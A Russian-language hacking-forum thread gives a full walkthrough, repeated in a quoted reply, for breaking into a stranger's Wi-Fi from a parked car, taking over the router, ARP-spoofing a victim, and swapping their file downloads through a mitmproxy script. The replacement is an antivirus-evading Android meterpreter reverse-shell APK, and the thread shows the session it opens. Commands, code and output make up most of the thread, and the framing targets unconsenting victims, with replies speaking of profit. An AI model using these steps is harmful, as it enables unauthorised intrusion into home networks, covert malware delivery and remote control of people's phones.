Статья Target Wi-FI pwn -> MITM File injection -> meterpreter session (или еще одна статья по митму)

Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Это должно біть на втоматизме у любого спеца по КБ.

В общем что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов, аиргеддонов, вайфайаутопвнеров, которій работает даже с нокии без режима монитора
arpspoof - бинарная версия работает спуфера мак адресов работает куда стабильнее, чем аналоги
bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер)
mitmproxy 6 dev - потужная штука. Используется в качестве анализатора траффика и, собственно говоря, прозрачного прокси.
пару строчек кода на питоне, в качестве плагина для митмпрокси
msfvenom -
генератор нашего импланта
msfconsole - хендлер нашего бекконекта :D
obfuskapk - опенсоурсній криптер для APK

0)
Код:
ifconfig wlx00c0caa79483 down && macchanger -r wlx00c0caa79483
1) подтягиваемся в салоне своего тазика к окошку жертві.
Тут стоит отметить, что если ваша цель достаточно удалена от вас, а возможности подобраться ближе нету - то можно выйти из машины и пройтись вспомнить что радиоволны имеют свойство отражаться от поверхности (особенно бетона) и "скользят" по водной поверхности.
откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем

# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, вібираем, получаем пароль. Как работает атака пиксель-даст можно прочесть в интернете.
если ті на линуксе -
# nano /etc/network/interfaces
Код:
auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd
если ті не на линуксе - ставь линукс.
service networking restart

Важный момент - NetworkManager не совместим с networking - это два разных сервиса на Линукс системах. Обычно из коробки они оба присутствуют в системе, но работает гравический вариант - то есть первый. Я же не люблю его, так как он часто мешает и самостоятельно переподключается к т.д. с лучшим сигналом и тому подобное. Так что его мы выключаем, а включаем networking

далее, смотрим что мі в сетке
# ifconfig
Код:
wlx00c0caa79483: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.113  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::5c6f:c8ff:fe3c:e0e1  prefixlen 64  scopeid 0x20<link>
        ether 5e:6f:c8:3c:e0:e1  txqueuelen 1000  (Ethernet)
        RX packets 1100433  bytes 1173759849 (1.0 GiB)
        RX errors 0  dropped 16688  overruns 0  frame 0
        TX packets 630981  bytes 285821634 (272.5 MiB)
        TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0
увидишь что-то в духе, только со своим названием интерфейса.

2)
смотрим гейт:
# route -n
Код:
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.0.1     0.0.0.0         UG    0      0        0 wlx00c0caa79483
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 wlx00c0caa79483
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 wlx00c0caa79483

откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.

Ещё можно пройтись nmap по гейту, и посмотреть, что на нём крутиться. Бывает так, что в одной сети несколько роутеров. А бывает так, что в роутере есть порт 22 к которому можно подключиться посредством telnet.

Зачем? что бі вірубить client isolation и всякие сетевіе єкрані.

вірубили, идем далее

# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24
Код:
Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;

Bash:
┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐
│     IP ▴      │        MAC        │      Name       │            Vendor             │ Sent  │ Recvd │   Seen   │
├───────────────┼───────────────────┼─────────────────┼───────────────────────────────┼───────┼───────┼──────────┤
│ 192.168.0.113 │ 5e:6f:c8:3c:e0:e1 │ wlx00c0caa79483 │                               │ 0 B   │ 0 B   │ 09:17:23 │
│ 192.168.0.1   │ c4:71:54:c3:9b:a6 │ gateway         │ Tp-Link Technologies Co.,Ltd. │ 25 kB │ 27 kB │ 09:17:23 │
│               │                   │                 │                               │       │       │          │
│ 192.168.0.2   │ 30:b5:c2:d3:72:8a │                 │ Tp-Link Technologies Co.,Ltd. │ 32 kB │ 28 kB │ 09:17:48 │
│ 192.168.0.100 │ d0:03:df:1b:0f:b7 │                 │ Samsung Electronics Co.,Ltd   │ 0 B   │ 0 B   │ 09:17:36 │
│ 192.168.0.102 │ c8:3d:dc:12:35:55 │                 │                               │ 30 kB │ 31 kB │ 09:17:48 │
│ 192.168.0.103 │ fe:f5:82:11:f9:0f │                 │                               │ 23 kB │ 25 kB │ 09:17:46 │
│ 192.168.0.104 │ b4:74:43:f9:b8:11 │                 │ Samsung Electronics Co.,Ltd   │ 38 kB │ 41 kB │ 09:17:46 │
│ 192.168.0.106 │ 9c:4e:36:6b:1d:98 │                 │ Intel Corporate               │ 0 B   │ 37 kB │ 09:17:36 │
└───────────────┴───────────────────┴─────────────────┴───────────────────────────────┴───────┴───────┴──────────┘

в принципе, цель мі определили, пора ее спуфать. то есть орать на всю локалку что єто я роутр, а не он, отдавайте мне все свои пакеті.

для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py
Python:
import mitmproxy
import subprocess
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".exe") or flow.request.pretty_url.endswith(".cab"):
        print("[+] О, дивись, під вінду щось качае гад")
        #flow.request.host = "mitmproxy.org"
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/EU.exe"})
        print("[?] Осьо получи фашист гранату")

    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".apk") or flow.request.pretty_url.endswith(".pdf"):
        print("[+] О, дивись, під андроїд щось качае гад")
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/calc.apk"})
        print("[?] Осьо получи фашист гранату")
смісл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленній кто? правильно пєйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py

ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legaсy и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables.
так что вірубай arpspoof пока что!

сперва создадим конфиг mitm.conf
Bash:
table ip filter {
    chain FORWARD {
        type filter hook forward priority 0; policy accept;
    }

    chain INPUT {
        type filter hook input priority 0; policy accept;
    }

    chain OUTPUT {
        type filter hook output priority 0; policy accept;
    }
}
table ip nat {
    chain PREROUTING {
        type nat hook prerouting priority -100; policy accept;
        iifname "wlx00c0caa79483" tcp dport http counter packets 97 bytes 5804 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" tcp dport https counter packets 62 bytes 4231 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 80 counter packets 0 bytes 0 dnat to 192.168.0.113:8080
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 443 counter packets 0 bytes 0 dnat to 192.168.0.113:8080

    }

    chain INPUT {
        type nat hook input priority 100; policy accept;
    }

    chain POSTROUTING {
        type nat hook postrouting priority 100; policy accept;
        oifname "wlx00c0caa79483" counter packets 0 bytes 0 masquerade
    }

    chain OUTPUT {
        type nat hook output priority -100; policy accept;
    }
}

потом пишем:
# nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально.
Конечно же не забіваем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1
# sysctl net.ipv6.conf.all.forwarding=1

должно все работать, йоу)

ах, да. еще один штрих.

идем в bettercap2 и пишем
help any.proxy

Код:
any.proxy (not running): A firewall redirection to any custom proxy.

   any.proxy on : Start the custom proxy redirection.
  any.proxy off : Stop the custom proxy redirection.

  Parameters

  any.proxy.dst_address : Address where the proxy is listening. (default=<interface address>)
     any.proxy.dst_port : Port where the proxy is listening. (default=8080)
        any.proxy.iface : Interface to redirect packets from. (default=<interface name>)
     any.proxy.protocol : Proxy protocol. (default=TCP)
  any.proxy.src_address : Leave empty to intercept any source address. (default=)
     any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)

в принципе все и по дефолту должно работать. если нет то проставь значения.
Код:
192.168.0.0/24 > 192.168.0.113  » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080

и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом)

откріваем на серва по ssh и пишем

# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk
Код:
No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk
у нас получается payload.apk, только на него любой АВ будет лаять, как алабай на алкаша в три часа ночи в частном секторе.

по этому мы заюзаем Obfuscapk

# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk
Код:
Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01<00:00,  8.84s/obfuscator]
files: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████|[00:07<00:00, 984.63file/s]
полученній obf.apk положим на наш сервак и назавем его к примеру calc.apk

запускаем метасплоит
# msfconsole

Код:
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v5.0.67-dev-                         ]
+ -- --=[ 1957 exploits - 1092 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
use exploit/multi/handler
msf5 exploit(multi/handler) >
set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp
Код:
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 0.0.0.0:4444
все. ждем пока жертва запустит нагрузку.

Код:
[*] Sending stage (73560 bytes) to 79.110.129.176
[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions

Active sessions
===============

  Id  Name  Type                        Information          Connection
  --  ----  ----                        -----------          ----------
  1         meterpreter dalvik/android  u0_a289 @ localhost  твой_ипи:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)

p.s. не забудь вірубить арпспуф что бі не мешал.

на связи

IMG-20200101-WA0016.jpeg
 

vik62bez

Green Team
07.04.2017
23
2
BIT
0
Всем приветики. Если не трудно. Обьясните, что я неправильно делаю. Пробую запускать с KaliLinux...

root@kali:~# ifconfig wlan0 down && maccenger -r wlan0
bash: maccenger: command not found
 

id2746

Green Team
12.11.2016
436
644
BIT
24
Всем приветики. Если не трудно. Обьясните, что я неправильно делаю. Пробую запускать с KaliLinux...

root@kali:~# ifconfig wlan0 down && maccenger -r wlan0
bash: maccenger: command not found
грамматическая ошибка, д.б.:
macchanger
 

SS35

Green Team
17.04.2018
23
4
BIT
7
Всем привет. Классній у вас форум. Я искал по теме много, но ничего подобного не нашел, по єтому сделал сам. Поделюсь и с вами.
единственное что я не буду расжевівать совсем єлементарніе вещи, типа как скачать oneshot с помощью git clone и так далее. Это должно біть на втоматизме у любого спеца по КБ.

В общем что нам понадобится:
oneshot.py - такой себе аналог всех вайфайтов, аиргеддонов, вайфайаутопвнеров, которій работает даже с нокии без режима монитора
arpspoof - бинарная версия работает спуфера мак адресов работает куда стабильнее, чем аналоги
bettercap2 (чисто для визуализации процесса, + очень удобній net.sniff сниффер)
mitmproxy 6 dev - потужная штука. Используется в качестве анализатора траффика и, собственно говоря, прозрачного прокси.
пару строчек кода на питоне, в качестве плагина для митмпрокси
msfvenom -
генератор нашего импланта
msfconsole - хендлер нашего бекконекта :D
obfuskapk - опенсоурсній криптер для APK

0)
Код:
ifconfig wlx00c0caa79483 down && macchanger -r wlx00c0caa79483
1) подтягиваемся в салоне своего тазика к окошку жертві.
Тут стоит отметить, что если ваша цель достаточно удалена от вас, а возможности подобраться ближе нету - то можно выйти из машины и пройтись вспомнить что радиоволны имеют свойство отражаться от поверхности (особенно бетона) и "скользят" по водной поверхности.
откріваем ноут, берем карту и направленную антену, направляем в окошко жертві и запускаем

# ./oneshot.py -i wlx00c0caa79483 -K -F
получаем список жертв, вібираем, получаем пароль. Как работает атака пиксель-даст можно прочесть в интернете.
если ті на линуксе -
# nano /etc/network/interfaces
Код:
auto wlx00c0caa79483
allow-hotplug wlx00c0caa79483
iface wlx00c0caa79483 inet dhcp

wpa-essid target_name
wpa-psk target_passswd
если ті не на линуксе - ставь линукс.
service networking restart

Важный момент - NetworkManager не совместим с networking - это два разных сервиса на Линукс системах. Обычно из коробки они оба присутствуют в системе, но работает гравический вариант - то есть первый. Я же не люблю его, так как он часто мешает и самостоятельно переподключается к т.д. с лучшим сигналом и тому подобное. Так что его мы выключаем, а включаем networking

далее, смотрим что мі в сетке
# ifconfig
Код:
wlx00c0caa79483: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.113  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::5c6f:c8ff:fe3c:e0e1  prefixlen 64  scopeid 0x20<link>
        ether 5e:6f:c8:3c:e0:e1  txqueuelen 1000  (Ethernet)
        RX packets 1100433  bytes 1173759849 (1.0 GiB)
        RX errors 0  dropped 16688  overruns 0  frame 0
        TX packets 630981  bytes 285821634 (272.5 MiB)
        TX errors 0  dropped 1 overruns 0  carrier 0  collisions 0
увидишь что-то в духе, только со своим названием интерфейса.

2)
смотрим гейт:
# route -n
Код:
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.0.1     0.0.0.0         UG    0      0        0 wlx00c0caa79483
169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 wlx00c0caa79483
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 wlx00c0caa79483

откріваем в браузере 192.168.0.1 , там за частую висит морда роутера жертві. admin:admin -> попадаем в роутер.
Если там не admin:admin -> то гуглим что там и попадаем в роутер. если не нагуглили то пробуем так или брутим.

Ещё можно пройтись nmap по гейту, и посмотреть, что на нём крутиться. Бывает так, что в одной сети несколько роутеров. А бывает так, что в роутере есть порт 22 к которому можно подключиться посредством telnet.

Зачем? что бі вірубить client isolation и всякие сетевіе єкрані.

вірубили, идем далее

# nmap -sS -sV -T4 -O -Pn -T 5 192.168.0.0/24
Код:
Nmap scan report for 192.168.0.103
Host is up (0.035s latency).
All 1000 scanned ports on 192.168.0.103 are closed (956) or filtered (44)
MAC Address: FE:F5:82:11:F9:0F (Unknown)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop
либо кому как нравится, можно и bettercap2 -->
# net.sniff on; net.show ;

Bash:
┌───────────────┬───────────────────┬─────────────────┬───────────────────────────────┬───────┬───────┬──────────┐
│     IP ▴      │        MAC        │      Name       │            Vendor             │ Sent  │ Recvd │   Seen   │
├───────────────┼───────────────────┼─────────────────┼───────────────────────────────┼───────┼───────┼──────────┤
│ 192.168.0.113 │ 5e:6f:c8:3c:e0:e1 │ wlx00c0caa79483 │                               │ 0 B   │ 0 B   │ 09:17:23 │
│ 192.168.0.1   │ c4:71:54:c3:9b:a6 │ gateway         │ Tp-Link Technologies Co.,Ltd. │ 25 kB │ 27 kB │ 09:17:23 │
│               │                   │                 │                               │       │       │          │
│ 192.168.0.2   │ 30:b5:c2:d3:72:8a │                 │ Tp-Link Technologies Co.,Ltd. │ 32 kB │ 28 kB │ 09:17:48 │
│ 192.168.0.100 │ d0:03:df:1b:0f:b7 │                 │ Samsung Electronics Co.,Ltd   │ 0 B   │ 0 B   │ 09:17:36 │
│ 192.168.0.102 │ c8:3d:dc:12:35:55 │                 │                               │ 30 kB │ 31 kB │ 09:17:48 │
│ 192.168.0.103 │ fe:f5:82:11:f9:0f │                 │                               │ 23 kB │ 25 kB │ 09:17:46 │
│ 192.168.0.104 │ b4:74:43:f9:b8:11 │                 │ Samsung Electronics Co.,Ltd   │ 38 kB │ 41 kB │ 09:17:46 │
│ 192.168.0.106 │ 9c:4e:36:6b:1d:98 │                 │ Intel Corporate               │ 0 B   │ 37 kB │ 09:17:36 │
└───────────────┴───────────────────┴─────────────────┴───────────────────────────────┴───────┴───────┴──────────┘

в принципе, цель мі определили, пора ее спуфать. то есть орать на всю локалку что єто я роутр, а не он, отдавайте мне все свои пакеті.

для єтого мі запустим mitmproxy. предварительно написав для него плагин redirect_requests.py
Python:
import mitmproxy
import subprocess
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".exe") or flow.request.pretty_url.endswith(".cab"):
        print("[+] О, дивись, під вінду щось качае гад")
        #flow.request.host = "mitmproxy.org"
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/EU.exe"})
        print("[?] Осьо получи фашист гранату")

    if flow.request.host != "твой_серверр" and flow.request.pretty_url.endswith(".apk") or flow.request.pretty_url.endswith(".pdf"):
        print("[+] О, дивись, під андроїд щось качае гад")
        front_file = flow.request.pretty_url + "#"
        flow.response = mitmproxy.http.HTTPResponse.make(301, "", {"Location":"http://твой_серверр/calc.apk"})
        print("[?] Осьо получи фашист гранату")
смісл скрипта простой, если митмпрокси видит, что жертва хочет скачать апк или pdf (для примера) - то она отправляется на наш сервер, вместо оригинального, где уже лежит заблаговременно подготовленній кто? правильно пєйлоад!
# mitmproxy --mode transparent --rawtcp --ssl-insecure --listen-host 192.168.0.113 --server --listen-port 8080 --anticomp --showhost --anticache -s ../complex/sslstrip.py -s redirect_requests.py

ничтяк. теперь нам нужно посмотреть все ли так как мі задумали и запустить arpspoof
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


синтаксис понять не трудно. -t атакуемій, а после него без ключа гейт. то есть роутр.
пошел спуфинг, и если все сделано правильно то ті увидишь как пакетики идут через наш прозрачній прокси. но. но ті єтого не увидишь, потому, что сперва нужно сделать форвардинг. а єто штука занятная и я с тобой поделюсь одной херней которая будет работать. для начала вірубай свой iptables, iptables_legaсy и так далее. они все уже deprecated и скоро работать перестанут. пора изучать nf_tables.
так что вірубай arpspoof пока что!

сперва создадим конфиг mitm.conf
Bash:
table ip filter {
    chain FORWARD {
        type filter hook forward priority 0; policy accept;
    }

    chain INPUT {
        type filter hook input priority 0; policy accept;
    }

    chain OUTPUT {
        type filter hook output priority 0; policy accept;
    }
}
table ip nat {
    chain PREROUTING {
        type nat hook prerouting priority -100; policy accept;
        iifname "wlx00c0caa79483" tcp dport http counter packets 97 bytes 5804 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" tcp dport https counter packets 62 bytes 4231 dnat to 192.168.0.113:http-alt
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 80 counter packets 0 bytes 0 dnat to 192.168.0.113:8080
        iifname "wlx00c0caa79483" meta l4proto tcp ip daddr 192.168.0.0/24 tcp dport 443 counter packets 0 bytes 0 dnat to 192.168.0.113:8080

    }

    chain INPUT {
        type nat hook input priority 100; policy accept;
    }

    chain POSTROUTING {
        type nat hook postrouting priority 100; policy accept;
        oifname "wlx00c0caa79483" counter packets 0 bytes 0 masquerade
    }

    chain OUTPUT {
        type nat hook output priority -100; policy accept;
    }
}

потом пишем:
# nft flush ruleset && nft -f /root/mitm.conf && nft list ruleset
в ответ ті должен увидеть примерно то, что записал в файл. значения могут менятся динамично, єто нормально.
Конечно же не забіваем включить форвардинг
# sysctl net.ipv4.conf.all.forwarding=1
# sysctl net.ipv6.conf.all.forwarding=1

должно все работать, йоу)

ах, да. еще один штрих.

идем в bettercap2 и пишем
help any.proxy

Код:
any.proxy (not running): A firewall redirection to any custom proxy.

   any.proxy on : Start the custom proxy redirection.
  any.proxy off : Stop the custom proxy redirection.

  Parameters

  any.proxy.dst_address : Address where the proxy is listening. (default=<interface address>)
     any.proxy.dst_port : Port where the proxy is listening. (default=8080)
        any.proxy.iface : Interface to redirect packets from. (default=<interface name>)
     any.proxy.protocol : Proxy protocol. (default=TCP)
  any.proxy.src_address : Leave empty to intercept any source address. (default=)
     any.proxy.src_port : Remote port to redirect when the module is activated. (default=80)

в принципе все и по дефолту должно работать. если нет то проставь значения.
Код:
192.168.0.0/24 > 192.168.0.113  » any.proxy on
[09:41:19] [sys.log] [inf] any.proxy Applied redirection [wlx00c0caa79483] (TCP) :80 -> 192.168.0.113:8080

и теперь на верочку
# arpspoof -i wlx00c0caa79483 -t 192.168.0.103 192.168.0.1


все получилось? пакеті пошли через нас? ничтячелло брателло. теперь время разобраться с пєйлоадом)

откріваем на серва по ssh и пишем

# msfvenom --platform android -a dalvik -p android/meterpreter/reverse_tcp LHOST=наш_ипи LPORT=4444 -o payload.apk
Код:
No encoder or badchars specified, outputting raw payload
Payload size: 10178 bytes
Saved as: payload.apk
у нас получается payload.apk, только на него любой АВ будет лаять, как алабай на алкаша в три часа ночи в частном секторе.

по этому мы заюзаем Obfuscapk

# python3.7 -m obfuscapk.cli -p -w ~/Fatrat_Generated/obf/ -d ~/Fatrat_Generated/obf.apk -o ConstStringEncryption -o Nop -o Goto -o RandomManifest -o Rebuild -o NewSignature -o NewAlignment ~/Fatrat_Generated/app_backdoor.apk
Код:
Running obfuscators (NewAlignment): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████|[01:01<00:00,  8.84s/obfuscator]
files: 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████|[00:07<00:00, 984.63file/s]
полученній obf.apk положим на наш сервак и назавем его к примеру calc.apk

запускаем метасплоит
# msfconsole

Код:
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v5.0.67-dev-                         ]
+ -- --=[ 1957 exploits - 1092 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]
use exploit/multi/handler
msf5 exploit(multi/handler) >
set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf5 exploit(multi/handler) >
# handler -H 0.0.0.0 -P 4444 -n op6 -p android/meterpreter/reverse_tcp
Код:
[*] Payload handler running as background job 0.

[*] Started reverse TCP handler on 0.0.0.0:4444
все. ждем пока жертва запустит нагрузку.

Код:
[*] Sending stage (73560 bytes) to 79.110.129.176
[*] Meterpreter session 1 opened (твой_ипи:4444 -> 79.110.129.176:25463) at 2020-01-06 11:14:42 +0300
sessions

Active sessions
===============

  Id  Name  Type                        Information          Connection
  --  ----  ----                        -----------          ----------
  1         meterpreter dalvik/android  u0_a289 @ localhost  твой_ипи:4444 -> 79.110.129.176:25463 (fe80::805d:26ff:fec8:b98e)

p.s. не забудь вірубить арпспуф что бі не мешал.

на связи

Посмотреть вложение 37330
Здоров. Статья годная по любому. Отображение интерфейсов поломанное не много.
Решение.
sudo nano /etc/default/grub
внести изменения в
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
на
GRUB_CMDLINE_LINUX_DEFAULT="net.iframes=0"
сохраняем и обновляем загрузчик
sudo grub-mkconfig -o /boot/grub/grub.cfg
перезагружаемся и интерфейсы отображаются в стандартном виде.
Опыт и копипаста с community.parrotlinux.org
 
  • Нравится
Реакции: swagcat228

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
Норм)) с матом четче людям доходит! по себе знаю)
а так да, смотришь правильно, DNS spoof наше все! : dnscheff + wifi-pumpkin и не много СИ получится злая ..йня!))
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Здоров. Статья годная по любому. Отображение интерфейсов поломанное не много.
Решение.
sudo nano /etc/default/grub
внести изменения в
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
на
GRUB_CMDLINE_LINUX_DEFAULT="net.iframes=0"
сохраняем и обновляем загрузчик
sudo grub-mkconfig -o /boot/grub/grub.cfg
перезагружаемся и интерфейсы отображаются в стандартном виде.
Опыт и копипаста с community.parrotlinux.org
От души)

Норм)) с матом четче людям доходит! по себе знаю)
а так да, смотришь правильно, DNS spoof наше все! : dnscheff + wifi-pumpkin и не много СИ получится злая ..йня!))
пампкин работает на 0.18-м mitmproxy на питоне 2.7

все deprecated.

как быть? я все возможные варианты переколупал. на программирование нету времени да и сил просто....

на счет СИ - та СИ то СИ. хотелось бы без СИ.

Можжет какие-нибуть слабые алгоритмы пробрутфорсить?
 
Последнее редактирование модератором:

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
в эту сторону смотрел?
И обновляется вроде, регулярно...


и BeEF тоже,начали поддерживать)
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
в эту сторону смотрел?
И обновляется вроде, регулярно...


и BeEF тоже,начали поддерживать)
Не совсем понял суть скриншота с гитхабом митипрокси? мол, что у них там свои плагины свежие? та я понимаю, я вообще на 6.0dev запиливал это все.

Бииф надо будет изучить полюбому.

А что касается видоса - так а толку? если у меня срабатывает sslstrip - то мне по сути-то и не нужно извращаться - я уже могу делать с траффиком цели что угодно. но sslstrip не срабатывает в случает с HSTS
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Народ, я это сделал!
Я не знаю как оно получилось, но оно работает! Во всяком случае один раз сработало.
screen.png


@b0d ты это имел ввиду?
 
Последнее редактирование модератором:
  • Нравится
Реакции: kot-gor и Ondrik8

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
а теперь по подробнее)) bettercap мощный инструмент, по юзай с вэбмордой! вижу еще Burp подключил?) реплейс делал?
нет, бурп не подключал. то отдельная история в попытках заработать денег на жизнь по вебу.

если подробнее - надо писать статью.
в этом комбайне бурп используется в качестве бэк-энд прокси. чисто для таких примочек как sslstrip+
 
  • Нравится
Реакции: BR007

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
ЖДУ!) очень интересно!
если будет работать, озолотимся)
 

Ondrik8

prodigy
Green Team
08.11.2016
1 129
3 189
BIT
0
молчание знакомо!) видно нашел то что нельзя в массы пускать, понимаю)
 
  • Нравится
Реакции: swagcat228
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!